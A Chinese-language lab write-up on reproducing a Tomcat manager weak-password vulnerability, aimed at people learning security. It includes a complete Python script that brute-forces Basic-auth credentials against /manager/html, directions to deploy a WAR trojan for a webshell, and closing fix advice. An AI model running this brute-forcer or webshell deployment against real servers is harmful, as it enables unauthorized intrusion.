Tomcat 弱口令
注:今后继续定期更新---“实战”!
Step1:环境搭建
环境搭建这部分略过,今后所有的环境我都会放到公网,感兴趣的朋友可以直接玩。
这里是三个漏洞 Tomcat 弱口令 、 Tomcat put 上传 、ElasticSearch 命令执行;
Step2:Tomcat 弱口令漏洞复现
- 首先,点击传送门进入漏洞地址
http://xxx.xxx.xxx.xxx/
- 漏洞形成原因
当Tomcat 在配置文件
tomcat/webapps/manager/META-INF/context.xml
开启允许远程部署环境时,可以通过爆破进入后台部署war包完成webshell上传;
登录时,抓包看到账号密码是通过base64加密的,解密后发现格式为name:passwd
如图所示:
破解结果:
编写python脚本进行爆破(初学python,大佬勿喷):
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#author:iChina
#date:2019.3.4
#
import argparse
import requests
import base64
import Queue
import sys
parser = argparse.ArgumentParser(description="tomcat_login.py -u target -p port")
parser.add_argument('-u','--target',metavar="",help="The target site or ip")
parser.add_argument('-p','--port',metavar="",default="18080",help="Destination port")
parser.add_argument('-n','--name',metavar="",default="name.txt",help="name list")
parser.add_argument('-pwd','--passwd',metavar="",default="passwd.txt",help="passwd list")
args = parser.parse_args()
url = args.target
port = args.port
name_list = args.name
passwd_list = args.passwd
poc_list = Queue.Queue()
def list(name_list,passwd_list):
n_list=open(name_list,'r')
for name in n_list:
p_list=open(passwd_list,'r')
for pwd in p_list:
name=name.strip()
pwd=pwd.strip()
put_poc(name,pwd)
def put_poc(name,pwd):
poc = name + ':' + pwd
poc = base64.b64encode(poc)
poc_list.put(poc)
return poc_list
def head(poc):
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"zh-CN,zh;q=0.9",
"Authorization": "Basic " + poc
}
return headers
def payload(url,port,headers,poc):
url = url + ":" + port + "/manager/html"
response = requests.get(url,headers=headers)
code = response.status_code
if code==200:
poc = base64.b64decode(poc)
print "The password is - " + poc
sys.exit(0)
else:
pass
def main():
list(name_list,passwd_list)
while not poc_list.empty():
poc = poc_list.get()
headers=head(poc)
payload(url,port,headers,poc)
if __name__ == '__main__':
main()
爆破结果为:
登录后台部署自己的war包,有不知道war木马制作的可以百度搜一下;
成功拿到shell:
Step3:修复建议
1.关闭远程部署。(可能影响运维人员正常操作)
2.在配置文件/tomcat/conf/tomcat-users.xml
修改较为复杂的密码
END
由于小编也在学习中,写的不好各位勿喷。
从0到1学习网络安全 【目录】
实战靶场环境迁移: